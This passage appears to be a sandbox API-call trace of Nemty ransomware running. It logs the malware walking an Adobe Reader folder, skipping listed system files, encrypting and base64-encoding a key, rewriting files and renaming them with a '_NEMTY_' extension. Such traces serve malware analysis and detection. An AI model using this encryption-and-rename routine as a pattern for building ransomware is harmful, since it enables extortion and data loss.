dwReserved1=0x4f90000, cFileName="ReadOutLoud.CAT", cAlternateFileName="READOU~1.CAT")) returned 1 [0173.712] lstrcmpiW (lpString1="ReadOutLoud.CAT", lpString2=".") returned 1 [0173.712] lstrcmpiW (lpString1="ReadOutLoud.CAT", lpString2="..") returned 1 [0173.712] lstrcmpiW (lpString1="ReadOutLoud.CAT", lpString2="...") returned 1 [0173.712] lstrcmpiW (lpString1="ReadOutLoud.CAT", lpString2="windows") returned -1 [0173.712] lstrcmpiW (lpString1="ReadOutLoud.CAT", lpString2="$RECYCLE.BIN") returned 1 [0173.712] lstrcmpiW (lpString1="ReadOutLoud.CAT", lpString2="rsa") returned -1 [0173.712] lstrcmpiW (lpString1="ReadOutLoud.CAT", lpString2="NTDETECT.COM") returned 1 [0173.712] lstrcmpiW (lpString1="ReadOutLoud.CAT", lpString2="ntldr") returned 1 [0173.712] lstrcmpiW (lpString1="ReadOutLoud.CAT", lpString2="MSDOS.SYS") returned 1 [0173.712] lstrcmpiW (lpString1="ReadOutLoud.CAT", lpString2="IO.SYS") returned 1 [0173.712] lstrcmpiW (lpString1="ReadOutLoud.CAT", lpString2="boot.ini") returned 1 [0173.712] lstrcmpiW (lpString1="ReadOutLoud.CAT", lpString2="boot.ini") returned 1 [0173.712] lstrcmpiW (lpString1="ReadOutLoud.CAT", lpString2="AUTOEXEC.BAT") returned 1 [0173.712] lstrcmpiW (lpString1="ReadOutLoud.CAT", lpString2="ntuser.dat") returned 1 [0173.712] lstrcmpiW (lpString1="ReadOutLoud.CAT", lpString2="desktop.ini") returned 1 [0173.712] lstrcmpiW (lpString1="ReadOutLoud.CAT", lpString2="CONFIG.SYS") returned 1 [0173.712] lstrcmpiW (lpString1="ReadOutLoud.CAT", lpString2="RECYCLER") returned -1 [0173.712] lstrcmpiW (lpString1="ReadOutLoud.CAT", lpString2="BOOTSECT.BAK") returned 1 [0173.712] lstrcmpiW (lpString1="ReadOutLoud.CAT", lpString2="bootmgr") returned 1 [0173.712] lstrcmpiW (lpString1="ReadOutLoud.CAT", lpString2="programdata") returned 1 [0173.712] lstrcmpiW (lpString1="ReadOutLoud.CAT", lpString2="appdata") returned 1 [0173.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.712] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.CAT", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0173.712] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.CAT", cchWideChar=15, lpMultiByteStr=0x653e890, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.CAT", lpUsedDefaultChar=0x0) returned 15 [0173.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.712] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.CAT", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0173.712] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.CAT", cchWideChar=15, lpMultiByteStr=0x653e890, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.CAT", lpUsedDefaultChar=0x0) returned 15 [0173.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.713] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.CAT", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0173.713] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.CAT", cchWideChar=15, lpMultiByteStr=0x653e8e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.CAT", lpUsedDefaultChar=0x0) returned 15 [0173.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.713] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.CAT", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0173.713] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.CAT", cchWideChar=15, lpMultiByteStr=0x653e918, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.CAT", lpUsedDefaultChar=0x0) returned 15 [0173.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0173.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0173.713] Sleep (dwMilliseconds=0x5) [0173.719] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b3114b0, dwHighDateTime=0x1d561e8)) [0173.719] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b3114b0, dwHighDateTime=0x1d561e8)) [0173.719] GetLastError () returned 0x0 [0173.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.719] GetLastError () returned 0x0 [0173.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.720] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0173.720] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0173.720] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0173.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0173.720] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="Lm3ciMKiczmOeMuvGvncpXUOvQKFQKNkomd3UN/GkY/POW8HIgv2ubcnRwGjfWFf\r\n5VLTNQJiheuyPA2VVnGyXwuXtbFKcMTTSxTrsWJWukrs3gxUBNf8yb4vHai6XNkg\r\nb5KHGQlxeOzUQOxDHhk+XA2WtSkLCtFNytnWKz3yVkGPFXCCUudNA/UqY/Cisuyq\r\nYRDn13JZ5FhItWSRsOEpXBJf67LvQ/1R4KQhR/tA8njDo6ebWgSmKSz9Qr0e+urq\r\n+VEQAs0j4tuwoZU2GybmTzfjwOIpkJYutB0LjDZs+rXe2iRXhQxENtx7QH/uGTXp\r\nghxs8yz5zM8b4s2Gd8nvng==\r\n", pcchString=0x653e5dc) returned 1 [0173.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0173.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0173.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0173.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0173.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0173.720] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\ReadOutLoud.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\readoutloud.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0173.720] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=11264) returned 1 [0173.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2c00) returned 0x6352c48 [0173.720] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.720] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2c00, lpOverlapped=0x0) returned 1 [0173.723] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.723] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2c00, lpOverlapped=0x0) returned 1 [0173.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0173.723] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=11264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2c00 [0173.723] WriteFile (in: hFile=0x3b0, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0173.723] CloseHandle (hObject=0x3b0) returned 1 [0173.723] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0173.723] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.723] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.723] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.723] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.723] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0173.723] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0173.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0173.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.724] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\ReadOutLoud.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\readoutloud.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\ReadOutLoud.CAT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\readoutloud.cat._nemty_kgobjgd_")) returned 1 [0173.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0173.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0173.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0173.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0173.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0173.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0173.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.724] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="reflow.CAT", cAlternateFileName="")) returned 1 [0173.724] lstrcmpiW (lpString1="reflow.CAT", lpString2=".") returned 1 [0173.724] lstrcmpiW (lpString1="reflow.CAT", lpString2="..") returned 1 [0173.724] lstrcmpiW (lpString1="reflow.CAT", lpString2="...") returned 1 [0173.724] lstrcmpiW (lpString1="reflow.CAT", lpString2="windows") returned -1 [0173.724] lstrcmpiW (lpString1="reflow.CAT", lpString2="$RECYCLE.BIN") returned 1 [0173.724] lstrcmpiW (lpString1="reflow.CAT", lpString2="rsa") returned -1 [0173.724] lstrcmpiW (lpString1="reflow.CAT", lpString2="NTDETECT.COM") returned 1 [0173.724] lstrcmpiW (lpString1="reflow.CAT", lpString2="ntldr") returned 1 [0173.724] lstrcmpiW (lpString1="reflow.CAT", lpString2="MSDOS.SYS") returned 1 [0173.724] lstrcmpiW (lpString1="reflow.CAT", lpString2="IO.SYS") returned 1 [0173.725] lstrcmpiW (lpString1="reflow.CAT", lpString2="boot.ini") returned 1 [0173.725] lstrcmpiW (lpString1="reflow.CAT", lpString2="boot.ini") returned 1 [0173.725] lstrcmpiW (lpString1="reflow.CAT", lpString2="AUTOEXEC.BAT") returned 1 [0173.725] lstrcmpiW (lpString1="reflow.CAT", lpString2="ntuser.dat") returned 1 [0173.725] lstrcmpiW (lpString1="reflow.CAT", lpString2="desktop.ini") returned 1 [0173.725] lstrcmpiW (lpString1="reflow.CAT", lpString2="CONFIG.SYS") returned 1 [0173.725] lstrcmpiW (lpString1="reflow.CAT", lpString2="RECYCLER") returned 1 [0173.725] lstrcmpiW (lpString1="reflow.CAT", lpString2="BOOTSECT.BAK") returned 1 [0173.725] lstrcmpiW (lpString1="reflow.CAT", lpString2="bootmgr") returned 1 [0173.725] lstrcmpiW (lpString1="reflow.CAT", lpString2="programdata") returned 1 [0173.725] lstrcmpiW (lpString1="reflow.CAT", lpString2="appdata") returned 1 [0173.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.725] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.CAT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0173.725] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.CAT", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.CAT", lpUsedDefaultChar=0x0) returned 10 [0173.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.725] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.CAT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0173.725] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.CAT", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.CAT", lpUsedDefaultChar=0x0) returned 10 [0173.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.725] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.CAT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0173.725] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.CAT", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.CAT", lpUsedDefaultChar=0x0) returned 10 [0173.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.725] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.CAT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0173.725] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.CAT", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.CAT", lpUsedDefaultChar=0x0) returned 10 [0173.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0173.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0173.725] Sleep (dwMilliseconds=0x5) [0173.735] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b337610, dwHighDateTime=0x1d561e8)) [0173.735] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b337610, dwHighDateTime=0x1d561e8)) [0173.735] GetLastError () returned 0x0 [0173.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.735] GetLastError () returned 0x0 [0173.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.735] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0173.735] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0173.735] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0173.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0173.735] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="bDjYb9Dz5K+yXLchJlpdZ5fH0O3AmGgajAZqd91z/0jYVF7ITA02XdUpOtQYEzaY\r\n5sjxURf8NeqdeA9uwYXnNHL3FQDOUiKPgiyzsK2/aeHh7yaC+MioWH76H4rgIkzd\r\n+1awpWqXjWVvYlzm1THCUOFZjPFazz/P8s91wNQdDbflgf6k6uOjEIaV1tGx4xKb\r\nvpGTlG/Z7Xf7JHD0e578FaXDe3RFRddxp9Rme0kbaBZsn1SKyXq/Kv9gDdR/ckPO\r\nUdBCh6D+PE8+FZhxeey5Qh5NL24t03vNfD1N0XXNALAtajl4KPUrx/+OR9t/hLxI\r\nMCZl0fsC0czd1GeJFRkLeg==\r\n", pcchString=0x653e5dc) returned 1 [0173.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0173.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.736] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0173.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0173.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0173.736] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\reflow.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\reflow.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0173.736] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=4608) returned 1 [0173.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1200) returned 0x6352c48 [0173.736] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.736] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1200, lpOverlapped=0x0) returned 1 [0173.738] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.738] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1200, lpOverlapped=0x0) returned 1 [0173.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0173.738] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=4608, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1200 [0173.738] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0173.738] CloseHandle (hObject=0x2e8) returned 1 [0173.738] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0173.738] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.738] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.738] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.738] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.738] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0173.738] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0173.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.738] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\reflow.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\reflow.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\reflow.CAT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\reflow.cat._nemty_kgobjgd_")) returned 1 [0173.739] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0173.739] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0173.739] HeapFree (in: hHeap=0x4f90000, 